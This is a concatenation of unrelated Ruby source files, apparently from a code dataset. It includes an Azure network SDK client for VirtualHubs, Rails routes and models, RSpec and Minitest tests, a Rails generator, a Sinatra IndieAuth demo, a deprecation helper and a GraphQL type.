begin_update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'virtual_hub_name is nil' if virtual_hub_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'virtual_hub_parameters is nil' if virtual_hub_parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Network::Mgmt::V2018_11_01::Models::TagsObject.mapper() request_content = @client.serialize(request_mapper, virtual_hub_parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'virtualHubName' => virtual_hub_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:patch, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 201 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end # Deserialize Response if status_code == 201 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Deletes a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_delete(resource_group_name, virtual_hub_name, custom_headers:nil) response = begin_delete_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers).value! nil end # # Deletes a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_delete_with_http_info(resource_group_name, virtual_hub_name, custom_headers:nil) begin_delete_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers).value! end # # Deletes a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_delete_async(resource_group_name, virtual_hub_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'virtual_hub_name is nil' if virtual_hub_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'virtualHubName' => virtual_hub_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:delete, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 202 || status_code == 204 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result end promise.execute end # # Lists all the VirtualHubs in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ListVirtualHubsResult] operation results. # def list_by_resource_group_next(next_page_link, custom_headers:nil) response = list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value! response.body unless response.nil? end # # Lists all the VirtualHubs in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_resource_group_next_with_http_info(next_page_link, custom_headers:nil) list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value! end # # Lists all the VirtualHubs in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_resource_group_next_async(next_page_link, custom_headers:nil) fail ArgumentError, 'next_page_link is nil' if next_page_link.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = '{nextLink}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], skip_encoding_path_params: {'nextLink' => next_page_link}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::ListVirtualHubsResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists all the VirtualHubs in a subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ListVirtualHubsResult] operation results. # def list_next(next_page_link, custom_headers:nil) response = list_next_async(next_page_link, custom_headers:custom_headers).value! response.body unless response.nil? end # # Lists all the VirtualHubs in a subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_next_with_http_info(next_page_link, custom_headers:nil) list_next_async(next_page_link, custom_headers:custom_headers).value! end # # Lists all the VirtualHubs in a subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_next_async(next_page_link, custom_headers:nil) fail ArgumentError, 'next_page_link is nil' if next_page_link.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = '{nextLink}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], skip_encoding_path_params: {'nextLink' => next_page_link}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::ListVirtualHubsResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists all the VirtualHubs in a resource group. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ListVirtualHubsResult] which provide lazy access to pages of the # response. # def list_by_resource_group_as_lazy(resource_group_name, custom_headers:nil) response = list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value! unless response.nil? page = response.body page.next_method = Proc.new do |next_page_link| list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers) end page end end # # Lists all the VirtualHubs in a subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ListVirtualHubsResult] which provide lazy access to pages of the # response. # def list_as_lazy(custom_headers:nil) response = list_async(custom_headers:custom_headers).value! unless response.nil? page = response.body page.next_method = Proc.new do |next_page_link| list_next_async(next_page_link, custom_headers:custom_headers) end page end end end end
41.552254
149
0.697818
1d58f3750a3dd4ca3cb58c8e7a15eac72e894090
220
Rails.application.routes.draw do devise_for :users root 'alerts#index' get '/plugin', to: 'alerts#plugin' # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html end
24.444444
101
0.740909
f732b851bb7fc74797a1cbc1e411c9e02a9acc0d
73
class View < ApplicationRecord belongs_to :post belongs_to :user end
14.6
30
0.780822
1de0e7e6c26127a0c34fb17029a0ba8857fc65bd
4,690
# frozen_string_literal: true require 'spec_helper' RSpec.describe Settings do describe 'omniauth' do it 'defaults to enabled' do expect(described_class.omniauth.enabled).to be true end end describe '.load_dynamic_cron_schedules!' do it 'generates a valid cron schedule' do expect(Fugit::Cron.parse(described_class.load_dynamic_cron_schedules!)).to be_a(Fugit::Cron) end end describe '.attr_encrypted_db_key_base_truncated' do it 'is a string with maximum 32 bytes size' do expect(described_class.attr_encrypted_db_key_base_truncated.bytesize) .to be <= 32 end end describe '.attr_encrypted_db_key_base_12' do context 'when db key base secret is less than 12 bytes' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('a' * 10) end it 'expands db key base secret to 12 bytes' do expect(described_class.attr_encrypted_db_key_base_12) .to eq(('a' * 10) + ('0' * 2)) end end context 'when key has multiple multi-byte UTF chars exceeding 12 bytes' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('❤' * 18) end it 'does not use more than 32 bytes' do db_key_base = described_class.attr_encrypted_db_key_base_12 expect(db_key_base).to eq('❤' * 4) expect(db_key_base.bytesize).to eq 12 end end end describe '.attr_encrypted_db_key_base_32' do context 'when db key base secret is less than 32 bytes' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('a' * 10) end it 'expands db key base secret to 32 bytes' do expanded_key_base = ('a' * 10) + ('0' * 22) expect(expanded_key_base.bytesize).to eq 32 expect(described_class.attr_encrypted_db_key_base_32) .to eq expanded_key_base end end context 'when db key base secret is 32 bytes' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('a' * 32) end it 'returns original value' do expect(described_class.attr_encrypted_db_key_base_32) .to eq 'a' * 32 end end context 'when db key base contains multi-byte UTF character' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('❤' * 6) end it 'does not use more than 32 bytes' do db_key_base = described_class.attr_encrypted_db_key_base_32 expect(db_key_base).to eq '❤❤❤❤❤❤' + ('0' * 14) expect(db_key_base.bytesize).to eq 32 end end context 'when db key base multi-byte UTF chars exceeding 32 bytes' do before do allow(described_class) .to receive(:attr_encrypted_db_key_base) .and_return('❤' * 18) end it 'does not use more than 32 bytes' do db_key_base = described_class.attr_encrypted_db_key_base_32 expect(db_key_base).to eq(('❤' * 10) + ('0' * 2)) expect(db_key_base.bytesize).to eq 32 end end end describe '.cron_for_service_ping' do it 'returns correct crontab for some manually calculated example' do allow(Gitlab::CurrentSettings) .to receive(:uuid) { 'd9e2f4e8-db1f-4e51-b03d-f427e1965c4a'} expect(described_class.send(:cron_for_service_ping)).to eq('44 10 * * 4') end it 'returns min, hour, day in the valid range' do allow(Gitlab::CurrentSettings) .to receive(:uuid) { SecureRandom.uuid } 10.times do cron = described_class.send(:cron_for_service_ping).split(/\s/) expect(cron[0].to_i).to be_between(0, 59) expect(cron[1].to_i).to be_between(0, 23) expect(cron[4].to_i).to be_between(0, 6) end end end describe '.encrypted' do before do allow(Gitlab::Application.secrets).to receive(:encryped_settings_key_base).and_return(SecureRandom.hex(64)) end it 'defaults to using the encrypted_settings_key_base for the key' do expect(Gitlab::EncryptedConfiguration).to receive(:new).with(hash_including(base_key: Gitlab::Application.secrets.encrypted_settings_key_base)) Settings.encrypted('tmp/tests/test.enc') end it 'returns empty encrypted config when a key has not been set' do allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(nil) expect(Settings.encrypted('tmp/tests/test.enc').read).to be_empty end end end
30.454545
149
0.660341
21efbb855a45c8918502e0038d39947c1821b9c0
2,158
module MySettings module Generators class TestGenerator < Rails::Generators::Base public_command :add_test_settings desc "generate test setting" def add_test_settings if yes?("Would you like to use rspec?") setting_rspec else setting_minitest end gem "database_rewinder", group: :test run "bundle" end private def setting_rspec gem "rspec-rails", "~> 3.5", group: [:development, :test] run "bundle" rails_command "g rspec:install" if yes?("Would you like to use factory girl?") gem "factory_girl_rails", group: [:development, :test] create_file "spec/support/factory_girl.rb", <<~EOF RSpec.configure do |config| config.include FactoryGirl::Syntax::Methods end EOF insert_into_file "spec/rails_helper.rb", after: "require 'rspec/rails'" do <<~EOF \n require 'support/factory_girl' EOF end end insert_into_file "spec/rails_helper.rb", after: "RSpec.configure do |config|" do <<~EOF \n DatabaseRewinder.strategy = :transaction # Database Rewinder config.before(:suite) do DatabaseRewinder.clean_all end config.after(:each) do DatabaseRewinder.clean end EOF end end def setting_minitest if yes?("Would you like to use factory girl?") gem "factory_girl_rails", group: [:development, :test] insert_into_file "test/test_helper.rb", after: "class ActiveSupport::TestCase" do <<~EOF \n include FactoryGirl::Syntax::Methods EOF end end insert_into_file "test/test_helper.rb", after: "fixtures :all" do <<~EOF \n DatabaseRewinder.strategy = :transcation setup { DatabaseRewinder.clean } EOF end end end end end
27.316456
91
0.540778
9156c4d63edefc81b47ca536345f053d11962ec5
1,933
require "rails_helper" describe "As a Visitor" do before :each do @accessory_1 = create(:accessory) @accessory_2 = create(:accessory, name: "Small Hoops") end describe "when I visit /bike-shop" do it "I can click add to cart for an item" do visit bike_shop_path first(".accessory-card").click_on "Add to Cart" expect(current_path).to eq(bike_shop_path) expect(page).to have_content("Successfully added Big Hoops") end it "my cart count has increased to 1" do visit bike_shop_path first(".accessory-card").click_on "Add to Cart" expect(page).to have_content("Cart(1)") first(".accessory-card").click_on "Add to Cart" expect(page).to have_content("Cart(2)") end it "my cart count has increased to 1" do visit bike_shop_path first(".accessory-card").click_on "Add to Cart" click_on "Cart(1)" expect(current_path).to eq(cart_index_path) expect(page).to have_content(@accessory_1.name) expect(page).to have_content(@accessory_1.description) expect(page).to have_content("Price: $10,000") expect(page).to have_content("Quantity: 1") expect(page).to_not have_content(@accessory_2.name) end end describe "when I visit cart page" do describe "I increase the quantity of an item" do it "I see item's quantity go up" do visit bike_shop_path first(".accessory-card").click_on "Add to Cart" visit cart_index_path expect(page).to have_content("Cart(1)") expect(page).to have_content("Quantity: 1") expect(page).to have_content("Subtotal: $10,000") click_on "Increase Quantity" expect(current_path).to eq(cart_index_path) expect(page).to have_content("Cart(2)") expect(page).to have_content("Quantity: 2") expect(page).to have_content("Subtotal: $20,000") end end end end
28.850746
66
0.658044
91f6aee931d2b5efdfab0a2793946e951104cf40
4,650
require 'cases/helper' require 'minitest/mock' module ActiveRecord class AttributeTest < ActiveRecord::TestCase setup do @type = Minitest::Mock.new end teardown do assert @type.verify end test "from_database + read type casts from database" do @type.expect(:type_cast_from_database, 'type cast from database', ['a value']) attribute = Attribute.from_database(nil, 'a value', @type) type_cast_value = attribute.value assert_equal 'type cast from database', type_cast_value end test "from_user + read type casts from user" do @type.expect(:type_cast_from_user, 'type cast from user', ['a value']) attribute = Attribute.from_user(nil, 'a value', @type) type_cast_value = attribute.value assert_equal 'type cast from user', type_cast_value end test "reading memoizes the value" do @type.expect(:type_cast_from_database, 'from the database', ['whatever']) attribute = Attribute.from_database(nil, 'whatever', @type) type_cast_value = attribute.value second_read = attribute.value assert_equal 'from the database', type_cast_value assert_same type_cast_value, second_read end test "reading memoizes falsy values" do @type.expect(:type_cast_from_database, false, ['whatever']) attribute = Attribute.from_database(nil, 'whatever', @type) attribute.value attribute.value end test "read_before_typecast returns the given value" do attribute = Attribute.from_database(nil, 'raw value', @type) raw_value = attribute.value_before_type_cast assert_equal 'raw value', raw_value end test "from_database + read_for_database type casts to and from database" do @type.expect(:type_cast_from_database, 'read from database', ['whatever']) @type.expect(:type_cast_for_database, 'ready for database', ['read from database']) attribute = Attribute.from_database(nil, 'whatever', @type) type_cast_for_database = attribute.value_for_database assert_equal 'ready for database', type_cast_for_database end test "from_user + read_for_database type casts from the user to the database" do @type.expect(:type_cast_from_user, 'read from user', ['whatever']) @type.expect(:type_cast_for_database, 'ready for database', ['read from user']) attribute = Attribute.from_user(nil, 'whatever', @type) type_cast_for_database = attribute.value_for_database assert_equal 'ready for database', type_cast_for_database end test "duping dups the value" do @type.expect(:type_cast_from_database, 'type cast', ['a value']) attribute = Attribute.from_database(nil, 'a value', @type) value_from_orig = attribute.value value_from_clone = attribute.dup.value value_from_orig << ' foo' assert_equal 'type cast foo', value_from_orig assert_equal 'type cast', value_from_clone end test "duping does not dup the value if it is not dupable" do @type.expect(:type_cast_from_database, false, ['a value']) attribute = Attribute.from_database(nil, 'a value', @type) assert_same attribute.value, attribute.dup.value end test "duping does not eagerly type cast if we have not yet type cast" do attribute = Attribute.from_database(nil, 'a value', @type) attribute.dup end class MyType def type_cast_from_user(value) value + " from user" end def type_cast_from_database(value) value + " from database" end end test "with_value_from_user returns a new attribute with the value from the user" do old = Attribute.from_database(nil, "old", MyType.new) new = old.with_value_from_user("new") assert_equal "old from database", old.value assert_equal "new from user", new.value end test "with_value_from_database returns a new attribute with the value from the database" do old = Attribute.from_user(nil, "old", MyType.new) new = old.with_value_from_database("new") assert_equal "old from user", old.value assert_equal "new from database", new.value end test "uninitialized attributes yield their name if a block is given to value" do block = proc { |name| name.to_s + "!" } foo = Attribute.uninitialized(:foo, nil) bar = Attribute.uninitialized(:bar, nil) assert_equal "foo!", foo.value(&block) assert_equal "bar!", bar.value(&block) end test "uninitialized attributes have no value" do assert_nil Attribute.uninitialized(:foo, nil).value end end end
32.517483
95
0.690108
91fa0db65e1c463bbc6f4da75e7e72bb06f79744
160
class AddGithubUpdatedAtToCheckRuns < ActiveRecord::Migration[6.1] def change add_column :check_runs, :github_updated_at, :datetime, default: 0 end end
26.666667
69
0.78125
b9bf340e0b3b3a36278dc7ed0c3a3248845df419
19
module Sinatra end
6.333333
14
0.842105
4a7e9939d0ee7014e13f6eb796d799536eb4bcb0
861
# frozen_string_literal: true require 'sinatra/base' require 'sinatra/reloader' require 'omniauth' require 'omniauth/strategies/indieauth' module Demo # The demo application. class Application < Sinatra::Base configure :development do register Sinatra::Reloader end enable :sessions use OmniAuth::Builder do provider :indieauth end get '/' do erb :index end get '/login' do erb :login end post '/login' do me = URI.encode_www_form_component(params[:me]) redirect to("/auth/indieauth?me=#{me}") end get '/logout' do session[:me] = nil redirect to('/') end get '/auth/indieauth/callback' do auth = request.env['omniauth.auth'] session[:me] = auth['uid'] session[:profile] = auth['info'] redirect to('/') end end end
18.319149
53
0.617886
012ef623f599a04ab3c63b56faeb017537a3b8ce
1,735
# frozen_string_literal: true ## # Provides a single method +deprecate+ to be used to declare when # something is going away. # # class Legacy # def self.klass_method # # ... # end # # def instance_method # # ... # end # # extend ActiveModelSerializers::Deprecate # deprecate :instance_method, "ActiveModelSerializers::NewPlace#new_method" # # class << self # extend ActiveModelSerializers::Deprecate # deprecate :klass_method, :none # end # end # # Adapted from https://github.com/rubygems/rubygems/blob/1591331/lib/rubygems/deprecate.rb module ActiveModelSerializers module Deprecate ## # Simple deprecation method that deprecates +name+ by wrapping it up # in a dummy method. It warns on each call to the dummy method # telling the user of +replacement+ (unless +replacement+ is :none) that it is planned to go away. def deprecate(name, replacement) old = "_deprecated_#{name}" alias_method old, name class_eval do define_method(name) do |*args, &block| target = is_a?(Module) ? "#{self}." : "#{self.class}#" msg = ["NOTE: #{target}#{name} is deprecated", replacement == :none ? ' with no replacement' : "; use #{replacement} instead", "\n#{target}#{name} called from #{ActiveModelSerializers.location_of_caller.join(':')}"] warn "#{msg.join}." send old, *args, &block end end end def delegate_and_deprecate(method, delegee) delegate method, to: delegee deprecate method, "#{delegee.name}." end module_function :deprecate module_function :delegate_and_deprecate end end
30.438596
105
0.630548
d5485eb266650098a627a58e5d60f4afb04a15d2
481
# frozen_string_literal: true module Types class QueryType < Types::BaseObject field :scores, [Types::ScoreType], null: false do argument :page, Integer, required: false argument :order, String, required: false argument :column, String, required: false end field :total_movies, Int, null: false def scores(args = {}) Query::FetchScoredMovies.(args) end def total_movies Query::FetchTotalMovies.call end end end
21.863636
53
0.66736
abd8c44711b36baf7b48094dffaa493195933b12
147
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_mood-dictionary_session'
36.75
85
0.809524
e856e6d24ad682d89789ebeb49266601fa42fcb8
279
AlgoliaSearch.configuration = { application_id: ENV.fetch('THREADABLE_ALGOLIA_APPLICATION_ID'), api_key: ENV.fetch('THREADABLE_ALGOLIA_API_KEY'), } module AlgoliaSearch::ClassMethods def algolia_index_name(options = nil) "#{Rails.env}-#{table_name}" end end
23.25
65
0.74552
e83e4c70aa9a593489daa14393ad4e3d5772cf14
545
require 'ipaddr' describe "IPAddr#to_s" do it "displays IPAddr using short notation" do IPAddr.new("0:0:0:1::").to_s.should == "0:0:0:1::" IPAddr.new("2001:200:300::/48").to_s.should == "2001:200:300::" IPAddr.new("[2001:200:300::]/48").to_s.should == "2001:200:300::" IPAddr.new("3ffe:505:2::1").to_s.should == "3ffe:505:2::1" end end describe "IPAddr#to_string" do it "displays an IPAddr using full notation" do IPAddr.new("3ffe:505:2::1").to_string.should == "3ffe:0505:0002:0000:0000:0000:0000:0001" end end
27.25
93
0.649541
260de9b5b4f095b9b05e9c8562d8e48464250243
359
module Pages class LocationSearch < SitePrism::Page set_url '/locations' element :postcode, '.t-postcode' element :submit, '.t-submit' sections :locations, '.t-location' do element :name, '.t-name' element :distance, '.t-distance' element :availability, '.t-availability' element :book, '.t-book' end end end
22.4375
46
0.635097